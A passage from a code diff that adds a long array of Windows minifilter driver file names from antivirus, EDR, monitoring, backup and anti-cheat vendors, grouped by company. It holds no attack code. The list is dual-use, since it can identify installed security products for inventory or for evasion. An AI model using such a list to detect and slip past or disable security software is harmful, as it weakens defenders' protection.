_T("AszFltNt.sys"), + _T("OMFltLh.sys"), + _T("V3Flu2k.sys"), + _T("AdcVcsNT.sys"), + // AhnLab Inc. + _T("TfFregNt.sys"), + // AhnLab, Inc. + _T("SMDrvNt.sys"), + _T("ATamptNt.sys"), + _T("V3Flt2k.sys"), + // Alwil + _T("aswmonflt.sys"), + // Anvisoft + _T("avfsmn.sys"), + // Arcdo + _T("ANVfsm.sys"), + _T("CDrRSFlt.sys"), + // Ashampoo GmbH & Co. KG + _T("AshAvScan.sys"), + // Australian Projects + _T("ZxFsFilt.sys"), + // Authentium + _T("avmf.sys"), + // AVG Grisoft + _T("avgmfx86.sys"), + _T("avgmfx64.sys"), + _T("avgmfi64.sys"), + _T("avgmfrs.sys"), + // Avira GmbH + _T("avgntflt.sys"), + // AVNOS + _T("kavnsi.sys"), + // AvSoft Technologies + _T("strapvista.sys"), + _T("strapvista64.sys"), + // AxBx + _T("vk_fsf.sys"), + // Baidu (beijing) + _T("BDFileDefend.sys"), + // Baidu (Hong Kong) Limited + _T("Bfilter.sys"), + // Baidu online network technology (beijing)Co. + _T("BDsdKit.sys"), + _T("bd0003.sys"), + // Beijing Kingsoft + _T("ksfsflt.sys"), + // Beijing Majorsec + _T("majoradvapi.sys"), + // Beijing Rising Information Technology Corporation Limited + _T("HookSys.sys"), + // Beijing Venus + _T("TxFileFilter.sys"), + _T("VTSysFlt.sys"), + // Binary Defense Systems + _T("Osiris.sys"), + // Bit9 Inc + _T("b9kernel.sys"), + // Bitdefender + _T("bdsvm.sys"), + // BitDefender SRL + _T("hbflt.sys"), + _T("vlflt.sys"), + _T("gzflt.sys"), + _T("bddevflt.sys"), + _T("ignis.sys"), + _T("AVCKF.SYS"), + _T("gemma.sys"), + _T("Atc.sys"), + _T("AVC3.SYS"), + _T("TRUFOS.SYS"), + // Bkav Corporation + _T("BkavAutoFlt.sys"), + _T("BkavSdFlt.sys"), + // BLACKFORT SECURITY + _T("bSyirmf.sys"), + _T("bSysp.sys"), + _T("bSydf.sys"), + _T("bSywl.sys"), + _T("bSyrtm.sys"), + _T("bSyaed.sys"), + _T("bSyar.sys"), + // BullGuard + _T("BdFileSpy.sys"), + // C-NetMedia Inc + _T("antispyfilter.sys"), + // CheckMAL Inc + _T("AppCheckD.sys"), + // Cheetah Mobile Inc. + _T("wdocsafe.sys"), + _T("lbprotect.sys"), + // Cisco Systems + _T("csaav.sys"), + _T("CiscoSAM.sys"), + _T("immunetselfprotect.sys"), + _T("immunetprotect.sys"), + _T("CiscoAMPCEFWDriver.sys"), + _T("CiscoAMPHeurDriver.sys"), + // CJSC Returnil Software + _T("rvsmon.sys"), + // CodeProof Technologies Inc + _T("CpAvFilter.sys"), + _T("CpAvKernel.sys"), + // Comodo Group Inc. + _T("cmdccav.sys"), + _T("cmdguard.sys"), + // Computer Assoc + _T("caavFltr.sys"), + _T("ino_fltr.sys"), + // ConeSecurity Inc + _T("CSFlt.sys"), + // Confluera Inc + _T("tbmninifilter.sys"), + // Coranti Inc. + _T("crnsysm.sys"), + _T("crncache32.sys"), + _T("crncache64.sys"), + // CoreTrace Corporation + _T("bouncer.sys"), + // CrowdStrike Ltd. + _T("csagent.sys"), + // Dakota State University + _T("EdnemFsFilter.sys"), + // Deep Instinct + _T("DeepInsFS.sys"), + // Deep Instinct Ltd. + _T("DeepInsFS.sys"), + // Digitalonnet + _T("ADSpiderDoc.sys"), + // Doctor Web + _T("drwebfwft.sys"), + _T("DwShield.sys"), + _T("DwShield64.sys"), + _T("dwprot.sys"), + // Doctor Web Ltd. + _T("Spiderg3.sys"), + // DriveSentry Inc + _T("drivesentryfilterdriver2lite.sys"), + // EasyAntiCheat Solutions + _T("easyanticheat.sys"), + // eEye Digital Security + _T("eeyehv.sys"), + _T("eeyehv64.sys"), + // Egnyte Inc + _T("egnfsflt.sys"), + // EMC + _T("ECATDriver.sys"), + // Emsi Software GmbH + _T("a2ertpx86.sys"), + _T("a2ertpx64.sys"), + _T("a2gffx86.sys"), + _T("a2gffx64.sys"), + _T("a2gffi64.sys"), + _T("a2acc.sys"), + _T("a2acc64.sys"), + // EnigmaSoft + _T("EnigmaFileMonDriver.sys"), + // ESET, spol. s r.o. + _T("eamonm.sys"), + // ESTsecurity Corp + _T("RSRtw.sys"), + _T("RSPCRtw.sys"), + // ESTsoft + _T("AYFilter.sys"), + _T("Rtw.sys"), + // ESTsoft corp. + _T("EstRkmon.sys"), + _T("EstRkr.sys"), + // ETRI + _T("vrSDetri.sys"), + _T("vrSDetrix.sys"), + // Everyzone + _T("TvMFltr.sys"), + // EveryZone Inc. + _T("IProtect.sys"), + // EveryZone INC. + _T("TvFiltr.sys"), + _T("TvDriver.sys"), + _T("TvSPFltr.sys"), + _T("TvPtFile.sys"), + // f-protect + _T("fpav_rtp.sys"), + // f-secure + _T("fsgk.sys"), + // Filseclab + _T("fildds.sys"), + // Fortinet Inc. + _T("FortiAptFilter.sys"), + _T("fortimon2.sys"), + _T("fortirmon.sys"), + _T("fortishield.sys"), + // Fujitsu Social Science + _T("wscm.sys"), + // FXSEC LTD + _T("pfkrnl.sys"), + // G Data + _T("HookCentre.sys"), + _T("PktIcpt.sys"), + _T("MiniIcpt.sys"), + // GAS Tecnologia + _T("GbpKm.sys"), + // Greatsoft Corp.Ltd + _T("vcdriv.sys"), + _T("vcreg.sys"), + _T("vchle.sys"), + // GRGBanking Equipment + _T("SECOne_USB.sys"), + _T("SECOne_Proc10.sys"), + _T("SECOne_REG10.sys"), + _T("SECOne_FileMon10.sys"), + // GridinSoft LLC + _T("gtkdrv.sys"), + // HAURI + _T("VrARnFlt.sys"), + _T("VrBBDFlt.sys"), + _T("vrSDfmx.sys"), + _T("vrSDam.sys"), + _T("VrAptDef.sys"), + _T("VrSdCore.sys"), + _T("VrFsFtM.sys"), + _T("VrFsFtMX.sys(AMD64)"), + _T("vradfil2.sys"), + // HAURI Inc. + _T("VRAPTFLT.sys"), + // Hidden Reflex + _T("epicFilter.sys"), + // Hitachi Solutions + _T("hsmltwhl.sys"), + _T("hssfwhl.sys"), + // HSM IT-Services Gmbh + _T("oavfm.sys"), + // Huorong Security + _T("sysdiag.sys"), + // IBM + _T("issregistry.sys"), + // IKARUS Security + _T("ntguard.sys"), + // Imperva Inc. + _T("mfdriver.sys"), + // INCA Internet Co. + _T("npxgd.sys"), + _T("npxgd64.sys"), + _T("tkpl2k.sys"), + _T("tkpl2k64.sys"), + _T("GKFF.sys"), + _T("GKFF64.sys"), + _T("tkdac2k.sys"), + _T("tkdacxp.sys"), + _T("tkdacxp64.sys"), + _T("tksp2k.sys"), + _T("tkspxp.sys"), + _T("tkspxp64.sys"), + // INCA Internet Co., Ltd + _T("tkfsft.sys"), + _T("tkfsft64.sys"), + _T("tkfsavxp.sys"), + _T("tkfsavxp64.sys"), + // Individual developer (Soft3304) + _T("AntiLeakFilter.sys"), + // IObit Information Tech + _T("IMFFilter.sys"), + // ISS + _T("issfltr.sys"), + // K7 Computing Private Ltd. + _T("K7Sentry.sys"), + // Kaspersky + _T("klbg.sys"), + _T("kldback.sys"), + _T("kldlinf.sys"), + _T("kldtool.sys"), + _T("klif.sys"), + // Kaspersky Lab + _T("klam.sys"), + _T("klif.sys"), + // KINGSOFT + _T("dgsafe.sys"), + // knowwheresoft Ltd + _T("securoFSD_x64.sys"), + // Komoku Inc. + _T("kmkuflt.sys"), + // Lavasoft AB + _T("lbd.sys"), + // Leith Bade + _T("cwdriver.sys"), + // Lenovo + _T("lnvscenter.sys"), + // Lightspeed Systems Inc. + _T("SAFsFilter.sys"), + // Malwarebytes Corp. + _T("FlightRecorder.sys"), + _T("mbam.sys"), + // MastedCode Ltd + _T("fsfilter.sys"), + // Max Secure Software + _T("MaxProc64.sys"), + _T("MaxProtector.sys"), + _T("maxcryptmon.sys"), + _T("SDActMon.sys"), + // McAfee Inc. + _T("epdrv.sys"), + _T("mfencoas.sys"), + _T("mfehidk.sys"), + _T("swin.sys"), + // Meidensha Corp + _T("WhiteShield.sys"), + // Microsoft + _T("WdFilter.sys"), + _T("mpFilter.sys"), + _T("SysmonDrv.sys"), + // MicroWorld Software Services Pvt. Ltd. + _T("mwfsmfltr.sys"), + // NeoAutus + _T("NeoKerbyFilter"), + // Netlor SAS + _T("KUBWKSP.sys"), + // NetSecurity Corp + _T("trfsfilter.sys"), + // NHN + _T("nsminflt.sys"), + _T("nsminflt64.sys"), + // Norman + _T("nvcmflt.sys"), + // Norman ASA + _T("nprosec.sys"), + _T("nregsec.sys"), + // Novatix Corporation + _T("NxFsMon.sys"), + // NPcore Ltd + _T("FileScan.sys"), + // Odyssey Cyber Security + _T("ODFsFimFilter.sys"), + _T("ODFsTokenFilter.sys"), + _T("ODFsFilter.sys"), + // OKUMA Corp + _T("ospfile_mini.sys"), + // OnMoon Company LLC + _T("acdrv.sys"), + // Palo Alto Networks + _T("CyvrFsfd.sys"), + // Panda Security + _T("PSINPROC.SYS"), + _T("PSINFILE.SYS"), + _T("amfsm.sys"), + _T("amm8660.sys"), + _T("amm6460.sys"), + // Panda Software + _T("NanoAVMF.sys"), + _T("shldflt.sys"), + // Panzor Cybersecurity + _T("pavdrv.sys"), + // Paretologic + _T("PLGFltr.sys"), + // PC Tools Pty. Ltd. + _T("PCTCore64.sys"), + _T("PCTCore.sys"), + _T("ikfilesec.sys"), + // Perfect World Co. Ltd + _T("PerfectWorldAntiCheatSys.sys"), + // PerfectWorld Ltd + _T("PWProtect.sys"), + // PerSystems SA + _T("pervac.sys"), + // Pooyan System + _T("RanPodFS.sys"), + // PWI, Inc. + _T("pwipf6.sys"), + // Qihoo 360 + _T("dsark.sys"), + _T("360avflt.sys"), + // Quick Heal Technologies Pvt. Ltd. + _T("snsrflt.sys"), + _T("bdsflt.sys"), + _T("arwflt.sys"), + // Quick Heal TechnologiesPvt. Ltd. + _T("ggc.sys"), + _T("catflt.sys"), + // ReaQta Ltd. + _T("reaqtor.sys"), + // Redstor Limited + _T("RsFlt.sys"), + // refractionPOINT + _T("hcp_kernel_acq.sys"), + // REVE Antivirus + _T("ReveFltMgr.sys"), + _T("ReveProcProtection.sys"), + // S.N.Safe&Software + _T("snscore.sys"), + // Sangfor Technologies + _T("sfavflt.sys"), + // Savant Protection, Inc. + _T("savant.sys"), + // Scargo Inc + _T("si32_file.sys"), + _T("si64_file.sys"), + // SECUI Corporation + _T("sciptflt.sys"), + _T("scifsflt.sys"), + // SecuLution GmbH + _T("ssvhook.sys"), + // SecureAge Technology + _T("sascan.sys"), + // SecureBrain Corporation + _T("mscan-rt.sys"), + // SecureLink Inc. + _T("zwPxeSvr.sys"), + _T("zwASatom.sys"), + // Securitas Technologies,Inc. + _T("NovaShield.sys"), + // SecurityCoverage, Inc. + _T("SCFltr.sys"), + // Segira LLC + _T("SegiraFlt.sys"), + // Segurmatica + _T("SegMD.sys"), + _T("SegMP.sys"), + _T("SegF.sys"), + // Sequretek IT + _T("KawachFsMinifilter.sys"), + // SGA + _T("EPSMn.sys"), + // SGRI Co., LTD. + _T("vcMFilter.sys"), + // SheedSoft Ltd + _T("SheedAntivirusFilterDriver.sys"), + // Shenzhen Tencent Computer Systems Company Limited + _T("TSysCare.sys"), + _T("TFsFlt.sys"), + // Softwin + _T("bdfsfltr.sys"), + _T("bdfm.sys"), + // Sophos + _T("SophosED.sys"), + _T("SAVOnAccess.sys"), + _T("savonaccess.sys"), + _T("sld.sys"), + // SpellSecurity + _T("spellmon.sys"), + // Sybonic Systems Inc + _T("THFilter.sys"), + // symantec + _T("eeCtrl.sys"), + _T("eraser.sys"), + _T("SRTSP.sys"), + _T("SRTSPIT.sys"), + _T("SRTSP64.SYS"), + // Symantec + _T("VirtualAgent.sys"), + // Tall Emu + _T("OADevice.sys"), + // Technology Nexus AB + _T("SE46Filter.sys"), + // TEHTRI-Security + _T("egambit.sys"), + // Tencent + _T("TesMon.sys"), + _T("QQSysMonX64.sys"), + _T("QQSysMon.sys"), + // Teramind + _T("tmfsdrv2.sys"), + // TRAPMINE A.S. + _T("trpmnflt.sys"), + // Trend + _T("tmpreflt.sys"), + // Trend Micro Inc. + _T("TmKmSnsr.sys"), + _T("fileflt.sys"), + _T("TmEsFlt.sys"), + _T("TmEyes.sys"), + _T("tmevtmgr.sys"), + // Verdasys Inc + _T("STKrnl64.sys"), + // VisionPower Co.,Ltd. + _T("PZDrvXP.sys"), + // VMware, Inc. + _T("vsepflt.sys"), + _T("VFileFilter.sys(renamed)"), + // WardWiz + _T("WrdWizSecure64.sys"), + _T("wrdwizscanner.sys"), + // Webroot Inc. + _T("WRAEKernel.sys"), + _T("WRKrn.sys"), + _T("WRCore.sys"), + // Webroot Software, Inc. + _T("ssfmonm.sys"), + // White Cloud Security + _T("WCSDriver.sys"), + // WidgetNuri Corp + _T("SoftFilterxxx.sys"), + _T("RansomDefensexxx.sys"), + // WINS CO. LTD + _T("agentrtm64.sys"), + _T("rswmon.sys"), + // Yoggie + _T("UFDFilter.sys"), + // ZhengYong InfoTech LTD. + _T("Zyfm.sys"), + /* + * FSFilter Anti-Virus - END + */ + /* + * FSFilter Activity Monitor - BEGIN + */ + // (c)SMS + _T("isafermon"), + // 1mill + _T("FSMon.sys"), + // 360 Software (Beijing) + _T("AtdrAgent.sys"), + _T("AtdrAgent64.sys"), + _T("Qutmdrv.sys"), + // Absolute Software + _T("cbfsfilter2017.sys"), + // Acronis + _T("NgScan.sys"), + // Actifio Inc + _T("aaf.sys"), + // Adaptiva + _T("AdaptivaClientCache32.sys"), + _T("AdaptivaclientCache64.sys"), + // Adtrustmedia + _T("browserMon.sys"), + // AhnLab, Inc. + _T("VPDrvNt.sys"), + // AI Consulting + _T("aictracedrv_am.sys"), + // Airlock Digital Pty Ltd + _T("alcapture.sys"), + // AIRWare Technology Ltd + _T("airship-filter.sys"), + // Alfa + _T("AlfaFF.sys"), + // Aliaksander Lebiadzevich + _T("SDDrvLdr.sys"), + // AlphaAntiLeak + _T("AALProtect.sys"), + // ALPS SYSTEM INTERGRATION CO. + _T("ISIRMFmon.sys"), + // Altaro Ltd. + _T("altcbt.sys"), + // ALWIL Software + _T("aswFsBlk.sys"), + // Amazon Web Services Inc + _T("AmznMon.sys"), + // Analytik Jena AG + _T("ajfsprot.sys"), + // ApexSQL LLC + _T("ApexSqlFilterDriver.sys"), + // AppGuard LLC + _T("AGSysLock.sys"), + _T("AGSecLock.sys"), + // AppiXoft + _T("axfsysmon.sys"), + _T("scensemon.sys"), + // AppSense Ltd + _T("DataNow_Driver.sys"), + _T("UcaFltDriver.sys"), + // AppStream, Inc. + _T("rflog.sys"), + // ApSoft + _T("CwMem2k64.sys"), + // Aqua Security + _T("ContainerMonitor.sys"), + // Arcserve + _T("xoiv8x64.sys"), + // Arkoon Network Security + _T("heimdall.sys"), + // Ashampoo Development + _T("IFS64.sys"), + // AsiaInfo Technologies + _T("kFileFlt.sys"), + // Aternity Ltd + _T("AternityRegistryHook.sys"), + // Atlansys Software + _T("atflt.sys"), + _T("amfd.sys"), + // Avanite Limited + _T("AvaPsFD.sys"), + // Avast Software + _T("aswSP.sys"), + // AVG Technologies CZ + _T("avgtpx86.sys"), + _T("avgtpx64.sys"), + // Avira GmbH + _T("avipbb.sys"), + // AvSoft Technologies + _T("strapvista.sys"), + // Axact Pvt Ltd + _T("axfltdrv.sys"), + // Axur Information Sec. + _T("amsfilter.sys"), + // Backup Systems Ltd + _T("cbfltfs4.sys"), + // Baidu (beijing) + _T("BdRdFolder.sys"), + // Baidu (Hong Kong) Limited + _T("Bfmon.sys"), + // Baidu Online Network + _T("bdsysmon.sys"), + // Barkly Protects Inc. + _T("BOsCmFlt.sys"), + _T("BOsFsFltr.sys"), + // Basein Networks + _T("cbfsfilter2017.sys"), + // BattlEye Innovations + _T("BEDaisy.sys"), + // Beijing CA-JinChen Software Co. + _T("kfac.sys"), + // Beijing QiAnXin Tech. + _T("QmInspec.sys"), + // Beijing Qihoo Technology Co. + _T("360fsflt.sys"), + // Beijing Shu Yan Science + _T("GagSecurity.sys"), + // Beijing Zhong Hang Jiaxin Computer Technology Co.,Ltd. + _T("filefilter.sys"), + // Best Security + _T("rpwatcher.sys"), + // BeyondTrust Inc. + _T("BlackbirdFSA.sys"), + // BicDroid Inc. + _T("QDocumentREF.sys"), + // Bit9 Inc. + _T("CarbonBlackK.sys"), + // BitArmor Systems, Inc + _T("bapfecpt.sys"), + _T("bamfltr.sys"), + // Bitdefender SRL + _T("edrsensor.sys"), + _T("bdprivmon.sys"), + // bitFence Inc. + _T("bfaccess.sys"), + // BiZone LLC + _T("bzsenyaradrv.sys"), + _T("bzsenspdrv.sys"), + _T("bzsenth.sys"), + // Blue Ridge Networks + _T("BrnFileLock.sys"), + _T("BrnSecLock.sys"), + // Bluzen Inc + _T("ipcomfltr.sys"), + // Broadcom + _T("symevnt.sys"), + _T("symevnt32.sys"), + // Bromium Inc + _T("brfilter.sys"), + _T("BrCow_x_x_x_x.sys"), + _T("BemK.sys"), + // ByStorm + _T("BssAudit.sys"), + // C-DAC Hyderabad + _T("pecfilter.sys"), + // CA + _T("xomfcbt8x64.sys"), + _T("KmxAgent.sys"), + _T("KmxFile.sys"), + _T("KmxSbx.sys"), + // Carbonite Inc + _T("MozyNextFilter.sys"), + _T("MozyCorpFilter.sys"), + _T("MozyEntFilter.sys"), + _T("MozyOEMFilter.sys"), + _T("MozyEnterpriseFilter.sys"), + _T("MozyProFilter.sys"), + _T("MozyHomeFilter.sys"), + _T("BDSFilter.sys"), + _T("CSBFilter.sys"), + // cEncrypt + _T("dsflt.sys"), + // Centennial Software Ltd + _T("msiodrv4.sys"), + // Centre for Development of Advanced Computing + _T("USBPDH.SYS"), + // Centrify Corp + _T("CentrifyFSF.sys"), + // Certero + _T("cmflt.sys"), + // Chaewool + _T("cFSfdrv"), + // Check Point Software + _T("epregflt.sys"), + _T("epklib.sys"), + // Checkpoint Software + _T("cpepmon.sys"), + // ChemoMetec + _T("ChemometecFilter.sys"), + // Cigent Technology Inc + _T("Spotlight.sys"), + // Cigital, Inc. + _T("fmdrive.sys"), + // Cisco Systems + _T("csaam.sys"), + // Citrix Systems + _T("srminifilterdrv.sys"), + // Clonix Co + _T("rsfdrv.sys"), + // Clumio Inc + _T("ClumioChangeBlockMf.sys"), + // Code42 + _T("Code42Filter.sys"), + // ColorTokens + _T("FFDriver.sys"), + // Comae Tech + _T("windd.sys"), + // CommVault Systems, Inc. + _T("CVCBT.sys"), + // Comodo Security Solutions Inc. + _T("CmdCwagt.sys"), + _T("cfrmd.sys"), + // ComTrade + _T("ctamflt.sys"), + // Comtrue Technology + _T("shdlpSf.sys"), + _T("ctrPAMon.sys"), + _T("shdlpMedia.sys"), + // Conduant Corporation + _T("ConduantFSFltr.sys"), + // Condusiv Technologies + _T("hiofs.sys"), + // CondusivTechnologies + _T("vintmfs.sys"), + _T("intmfs.sys"), + _T("excfs.sys"), + // Confio + _T("IridiumSwitch.sys"), + // CONNECT SHIFT LTD + _T("DTPL.sys"), + // CoSoSys + _T("cssdlp.sys"), + // Crawler Group + _T("tbrdrv.sys"), + // Credant Technologies + _T("XendowFLT.sys"), + // CristaLink + _T("mtsvcdf.sys"), + // CRU Data Security Group + _T("CdsgFsFilter.sys"), + // CyberArk Software + _T("vfpd.sys"), + _T("CybKernelTracker.sys"), + // CyberSight Inc + _T("csmon.sys"), + // Cygna Labs + _T("FileMonitor.sys"), + // Cylance Inc. + _T("CyOptics.sys"), + _T("CyProtectDrv32.sys"), + _T("CyProtectDrv64.sys"), + // Cytrence Inc + _T("cytmon.sys"), + // Datacloak Tech + _T("dcfsgrd.sys"), + // DataGravity Inc. + _T("dgfilter.sys"), + // Datto Inc + _T("DattoFSF.sys"), + // Dell Secureworks + _T("groundling32.sys"), + _T("groundling64.sys"), + // Dell Software Inc. + _T("DgeDriver.sys"), + // DELL Technologies + _T("DTDSel.sys"), + // Dell Technologies + _T("NWEDriver.sys"), + // derivo GmbH + _T("bbfilter.sys"), + // Digitalsense Co + _T("dsfltfs.sys"), + // Diskeeper Corporation + _T("nowonmf.sys"), + _T("dktlfsmf.sys"), + _T("DKDrv.sys"), + _T("DKRtWrt.sys"), + _T("HBFSFltr.sys"), + // Dmitry Stefankov + _T("WinTeonMiniFilter.sys"), + _T("wiper.sys"), + _T("DevMonMiniFilter.sys"), + // Doctor Web + _T("Drwebfwflt.sys"), + _T("EventMon.sys"), + // Douzone Bizon Co + _T("rswctrl.sys"), + _T("mcstrg.sys"), + _T("fmkkc.sys"), + _T("nmlhssrv01.sys"), + // DreamCrafts + _T("SaMFlt.sys"), + // Dtex Systems + _T("dnaFSMonitor.sys"), + // EaseVault Technologies Inc. + _T("EaseFlt.sys"), + // Egis Technology Inc. + _T("eLock2FSCTLDriver.sys"), + // Egnyte Inc + _T("egnfsflt.sys"), + // eIQnetworks Inc. + _T("FIM.sys"), + // Elex Tech Inc + _T("iSafeKrnl.sys"), + _T("iSafeKrnlMon.sys"), + // eMingSoftware Inc + _T("NetPeeker.sys"), + // Encourage Technologies + _T("asiofms.sys"), + // Enterprise Data Solutions, Inc. + _T("edsigk.sys"), + // Entrust Inc. + _T("eetd32.sys"), + _T("eetd64.sys"), + // ESET, spol. s r.o. + _T("ehdrv.sys"), + // ESTsoft corp. + _T("EstPrmon.sys"), + _T("Estprp.sys"), + _T("EstRegmon.sys"), + _T("EstRegp.sys"), + // F-Secure + _T("fshs.sys"), + _T("fsatp.sys"), + // Faronics Corporation + _T("AeFilter.sys"), + // FastTrack Software ApS + _T("AbrPmon.sys"), + // FFC Limited + _T("FFCFILT.SYS"), + // FileTek, Inc. + _T("TrustedEdgeFfd.sys"), + // FireEye Inc + _T("WFP_MRT.sys"), + // FireEye Inc. + _T("FeKern.sys"), + // Fitsec Ltd + _T("kconv.sys"), + _T("trace.sys"), + _T("SandDriver.sys"), + // Flexera Software Inc. + _T("ISRegFlt.sys"), + _T("ISRegFlt64.sys"), + // ForcePoint LLC. + _T("fpepflt.sys"), + // Fujian Shen Kong + _T("wats_se.sys"), + // FUJITSU ENGINEERING + _T("ibr2fsk.sys"), + // FUJITSU LIMITED + _T("FJGSDis2.sys"), + _T("FJSeparettiFilterRedirect.sys"), + _T("Fsw31rj1.sys"), + _T("da_ctl.sys"), + // FUJITSU SOCIAL SCIENCE + _T("secure_os.sys"), + // FUJITSU SOFTWARE + _T("PsAcFileAccessFilter.sys"), + // Fusion-io + _T("fiometer.sys"), + _T("dcSnapRestore.sys"), + // Futuresoft + _T("PointGuardVistaR32.sys"), + _T("PointGuardVistaR64.sys"), + _T("PointGuardVistaF.sys"), + _T("PointGuardVista64F.sys"), + // G Data Software AG + _T("gddcv.sys"), + // GameHi Co. + _T("Codex.sys"), + // GemacmbH + _T("GcfFilter.sys"), + // Glarysoft Ltd. + _T("GUMHFilter.sys"), + // Google, Inc. + _T("MRxGoogle.sys"), + // Gorizonty Rosta Ltd + _T("GoFSMF.sys"), + // GrammaTech, Inc. + _T("drvhookcsmf.sys"), + _T("drvhookcsmf_amd64.sys"), + // Group-IB LTD + _T("gibepcore.sys"), + // HA Unix Pt + _T("hafsnk.sys"), + // Hangzhou Yifangyun + _T("fangcloud_autolock_driver.sys"), + // HAURI + _T("secure_os_mf.sys"), + // Hauri Inc + _T("VrVBRFsFilter.sys"), + _T("VrExpDrv.sys"), + // HAVELSAN A. + _T("HVLMinifilter.sys"), + // HEAT Software + _T("SK.sys"), + // Heilig Defense LLC + _T("HDRansomOffDrv.sys"), + _T("HDCorrelateFDrv.sys"), + _T("HDFileMon.sys"), + // HeroBravo Technology + _T("sysdiag.sys"), + // Hexis Cyber Solutions + _T("HexisFSMonitor.sys"), + // HFN Inc. + _T("RGNT.sys"), + // Hitachi Solutions + _T("hsmltmon.sys"), + // Honeycomb Technologies + _T("dskmn.sys"), + // HP + _T("hpreg.sys"), + // i-Guard SAS + _T("iGuard.sys"), + // I-O DATA DEVICE + _T("sConnect.sys"), + // IBM + _T("NmpFilter.sys"), + _T("FsMonitor.sys"), + // Idera + _T("IderaFilterDriver.sys"), + // Idera Software + _T("SQLsafeFilterDriver.sys"), + // IGLOO SECURITY, Inc. + _T("kmNWCH.sys"), + // IKARUS Security + _T("Sonar.sys"), + // Immidio B.V. + _T("immflex.sys"), + // in-soft Kft. + _T("LmDriver.sys"), + // INCA Internet Co. + _T("GKPFCB.sys"), + _T("GKPFCB64.sys"), + // INCA Internet Co.,Ltd. + _T("TkPcFtCb.sys"), + _T("TkPcFtCb64.sys"), + // Industrial Technology + _T("icrlmonitor.sys"), + // InfoCage + _T("IccFilterSc.sys"), + // Informzaschita + _T("SnDacs.sys"), + _T("SnExequota.sys"), + // Infotecs + _T("filenamevalidator.sys"), + _T("KC3.sys"), + // InfoWatch + _T("iwhlp2.sys"), + _T("iwhlpxp.sys"), + _T("iwhlp.sys"), + _T("iwdmfs.sys"), + // Initech Inc. + _T("INISBDrv64.sys"), + // Int3 Software AB + _T("equ8_helper.sys"), + // Intel Corporation + _T("ielcp.sys"), + _T("IESlp.sys"), + _T("IntelCAS.sys"), + // Intercom Inc. + _T("tsifilemon.sys"), + _T("MarSpy.sys"), + // Interset Inc. + _T("WDCFilter.sys"), + // Intronis Inc + _T("VHDTrack.sys"), + // Invincea + _T("InvProtectDrv.sys"), + _T("InvProtectDrv64.sys"), + // Ionx Solutions LLP + _T("AuditFlt.sys"), + // ioScience + _T("iothorfs.sys"), + // iSecure Ltd. + _T("isecureflt.sys"), + // ITsMine + _T("imfilter.sys"), + // ITSTATION Inc + _T("aUpDrv.sys"), + // Ivanti + _T("IvAppMon.sys"), + // J's Communication Co. + _T("RevoNetDriver.sys"), + // Jinfengshuntai + _T("IPFilter.sys"), + // JiranData Co. Ltd + _T("JDPPWF.sys"), + _T("JDPPSF.sys"), + // Jiransoft Co., Ltd + _T("offsm.sys"), + _T("xkfsfd.sys"), + _T("JKPPOB.sys"), + _T("JKPPXK.sys"), + _T("JKPPPF.sys"), + _T("JKPPOK.sys"), + _T("pcpifd.sys"), + // k4solution Co. + _T("zsfprt.sys"), + // Kalpataru + _T("GPMiniFIlter.sys"), + // Kaspersky Lab + _T("klboot.sys"), + _T("klfdefsf.sys"), + _T("klrsps.sys"), + _T("klsnsr.sys"), + _T("klifks.sys"), + _T("klifaa.sys"), + _T("Klifsm.sys"), + // KEBA AG + _T("KeWF.sys"), + // Kenubi + _T("boxifier.sys"), + // Keysight Technologies + _T("KtFSFilter.sys"), + // kingsoft + _T("Kisknl.sys"), + // Kits Ltd. + _T("cbfsfilter2017.sys"), + // KnowledgeTree Inc. + _T("ktsyncfsflt.sys"), + // Koby Kahane + _T("NpEtw.sys"), + // Ladislav Zezula + _T("MSpy.sys"), + // LANDESK Software + _T("LDSecDrv.sys"), + // Lenovo Beijing + _T("slb_guard.sys"), + _T("lrtp.sys"), + // LINK co. + _T("NetAccCtrl.sys"), + _T("NetAccCtrl64.sys"), + // Livedrive Internet Ltd + _T("LivedriveFilter.sys"), + // Logichron Inc + _T("CatMF.sys"), + // LogRhythm Inc. + _T("LRAgentMF.sys"), + // Lovelace Network Tech + _T("MPKernel.sys"), + // Lumension + _T("eps.sys"), + // Magic Softworks, Inc. + _T("MagicBackupMonitor.sys"), + // magrasoft Ltd + _T("zqFilter.sys"), + // MailRu + _T("mracdrv.sys"), + // Malwarebytes + _T("mbamshuriken.sys"), + // Man Technology Inc + _T("bsrfsflt.sys"), + _T("fsrfilter.sys"), + _T("vollock.sys"), + _T("drbdlock.sys"), + // ManageEngine Zoho + _T("DFMFilter.sys"), + _T("DCFAFilter.sys"), + _T("RMPHVMonitor.sys"), + _T("FAPMonitor.sys"), + _T("MEARWFltDriver.sys"), + // ManTech + _T("topdogfsfilt.sys"), + // March Hare Software Ltd + _T("evscase.sys"), + _T("inuse.sys"), + _T("cvsflt.sys"), + // McAfee + _T("mfencfilter.sys"), + // McAfee Inc. + _T("mfeaskm.sys"), + // Micro Focus + _T("FilrDriver.sys"), + // Microsoft + _T("DhWatchdog.sys"), + _T("mssecflt.sys"), + _T("Backupreader.sys"), + _T("MsixPackagingToolMonitor.sys"), + _T("AppVMon.sys"), + _T("DpmFilter.sys"), + _T("Procmon11.sys"), + _T("minispy.sys"), + _T("fdrtrace.sys"), + _T("filetrace.sys"), + _T("uwfreg.sys"), + _T("uwfs.sys"), + _T("locksmith.sys"), + _T("winload.sys"), + _T("CbSampleDrv.sys"), + _T("simrep.sys"), + _T("change.sys"), + _T("delete_flt.sys"), + _T("SmbResilFilter.sys"), + _T("usbtest.sys"), + _T("NameChanger.sys"), + _T("failMount.sys"), + _T("failAttach.sys"), + _T("stest.sys"), + _T("cdo.sys"), + _T("ctx.sys"), + _T("fmm.sys"), + _T("cancelSafe.sys"), + _T("message.sys"), + _T("passThrough.sys"), + _T("nullFilter.sys"), + _T("ntest.sys"), + _T("iiscache.sys"), + _T("wrpfv.sys"), + _T("msnfsflt.sys"), + // Mobile Content Mgmt + _T("cbfsfilter2017.sys"), + // MRY Inc. + _T("drsfile.sys"), + // NanJing Geomarking + _T("MagicProtect.sys"), + _T("cbfsfilter2017.sys"), + _T("cbfsfilter2020.sys"), + // NEC Corporation + _T("UVMCIFSF.sys"), + // NEC Soft + _T("flyfs.sys"), + _T("serfs.sys"), + _T("hdrfs.sys"), + // NEC System Technologies + _T("IccFilterAudit.sys"), + // NEC System Technologies,Ltd. + _T("ICFClientFlt.sys"), + _T("IccFileIoAd.sys"), + // Neowiz Corporation + _T("MWatcher.sys"), + // NetIQ + _T("CGWMF.sys"), + // NetLib + _T("nlcbhelpx86.sys"), + _T("nlcbhelpx64.sys"), + _T("nlcbhelpi64.sys"), + // NetVision, Inc. + _T("nvmon.sys"), + 